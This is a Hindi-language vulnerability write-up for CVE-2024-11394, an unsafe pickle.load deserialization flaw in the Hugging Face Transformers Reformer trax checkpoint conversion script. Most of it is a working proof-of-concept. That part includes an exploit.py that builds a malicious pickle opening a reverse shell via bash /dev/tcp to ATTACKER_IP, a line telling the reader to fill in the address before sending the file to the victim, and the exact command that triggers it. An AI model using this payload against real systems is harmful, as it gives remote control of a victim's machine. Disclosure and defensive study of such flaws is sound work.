
तकनीकी विवरण और CVE-2024-11394 के लिए शोषण
भेद्यता का उच्च-स्तरीय अवलोकन और प्रभाव:
यह भेद्यता एक हमलावर को हगिंग फेस ट्रांसफॉर्मर्स रिपॉजिटरी में convert_reformer_trax_checkpoint_to_pytorch.py स्क्रिप्ट में एक दुर्भावनापूर्ण reformer trax चेकपॉइंट फ़ाइल प्रदान करके होस्ट मशीन पर मनमाना कोड निष्पादित करने की अनुमति देती है।
यदि कोई अनजान उपयोगकर्ता किसी तृतीय-पक्ष reformer trax चेकपॉइंट फ़ाइल का उपयोग करता है, तो convert_reformer_trax_checkpoint_to_pytorch.py स्क्रिप्ट निष्पादित करने पर पीड़ित के सिस्टम पर रिमोट कोड एक्ज़ीक्यूशन (RCE) हो जाएगा।
भेद्य उत्पाद
मूल कारण विश्लेषण
भेद्यता का विस्तृत विवरण: यह भेद्यता अविश्वसनीय डेटा के असुरक्षित डिसीरियलाइज़ेशन के कारण उत्पन्न होती है। स्क्रिप्ट चेकपॉइंट फ़ाइल को लोड करने के लिए pickle.load का उपयोग करती है और कोड निष्पादन के लिए असुरक्षित है।
इनपुट से भेद्य स्थिति तक कोड प्रवाह:
reformer trax मॉडल डाउनलोड करता है।convert_reformer_trax_checkpoint_to_pytorch.py स्क्रिप्ट चलाता है और चेकपॉइंट फ़ाइल उसे पास करता है।convert_reformer_trax_checkpoint_to_pytorch.py स्क्रिप्ट चेकपॉइंट फ़ाइल को डिसीरियलाइज़ करती है और दुर्भावनापूर्ण कोड निष्पादित करती है।इंजेक्शन बिंदु: भेद्यता उस बिंदु पर होती है जहाँ pickle.load को कॉल किया जाता है।
GitHub स्थायी लिंक: https://github.com/huggingface/transformers/blob/c8c8dffbe45ebef0a8dba4a51024e5e5e498596b/src/transformers/models/reformer/convert_reformer_trax_checkpoint_to_pytorch.py#L192
सुझाए गए सुधार: मनमाना कोड निष्पादन को रोकने के लिए pickle.load को yaml.safe_load(yaml_file) या json.load से बदलें।
प्रूफ-ऑफ-कॉन्सेप्ट निष्पादित करने के निर्देश:
malicious.pkl बनाने के लिए exploit.py चलाएँ:# exploit.py
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1',))
malicious_data = pickle.dumps(Exploit())
with open('malicious.pkl', 'wb') as f:
f.write(malicious_data)
print("Malicious pickle file created successfully.")
नोट: फ़ाइल पीड़ित को भेजने से पहले ATTACKER_IP और ATTACKER_PORT बदलें।
config.json कॉन्फ़िगरेशन फ़ाइल बनाएँ:{
"attention_head_size": 64,
"attention_probs_dropout_prob": 0.1,
"attn_layers": [
"local",
"lsh",
"local",
"lsh",
"local",
"lsh"
],
"axial_norm_std": 1.0,
"axial_pos_embds": true,
"axial_pos_embds_dim": [
64,
960
],
"axial_pos_shape": [
64,
64
],
"chunk_size_lm_head": 0,
"classifier_dropout": null,
"eos_token_id": 2,
"feed_forward_size": 512,
"hash_seed": null,
"hidden_act": "relu",
"hidden_dropout_prob": 0.1,
"hidden_size": 1024,
"initializer_range": 0.02,
"is_decoder": true,
"layer_norm_eps": 1e-12,
"local_attention_probs_dropout_prob": 0.05,
"local_attn_chunk_length": 64,
"local_num_chunks_after": 0,
"local_num_chunks_before": 1,
"lsh_attention_probs_dropout_prob": 0.0,
"lsh_attn_chunk_length": 64,
"lsh_num_chunks_after": 0,
"lsh_num_chunks_before": 1,
"max_position_embeddings": 4096,
"model_type": "reformer",
"num_attention_heads": 16,
"num_buckets": null,
"num_hashes": 1,
"num_hidden_layers": 6,
"pad_token_id": 0,
"tie_word_embeddings": false,
"transformers_version": "4.42.4",
"type_vocab_size": 2,
"use_cache": true,
"vocab_size": 30522
}
convert_reformer_trax_checkpoint_to_pytorch.py स्क्रिप्ट चलाएँ और malicious.pkl फ़ाइल को --trax_model_pkl_path पर पास करें:> python convert_reformer_trax_checkpoint_to_pytorch.py --trax_model_pkl_path malicious.pkl --config_file config.json --pytorch_dump_path .
नोट:
pytorch_dump_folder_pathको किसी भी निर्देशिका के रूप में सेट किया जा सकता है।
सॉफ़्टवेयर डाउनलोड लिंक:
https://github.com/huggingface/transformers/tree/main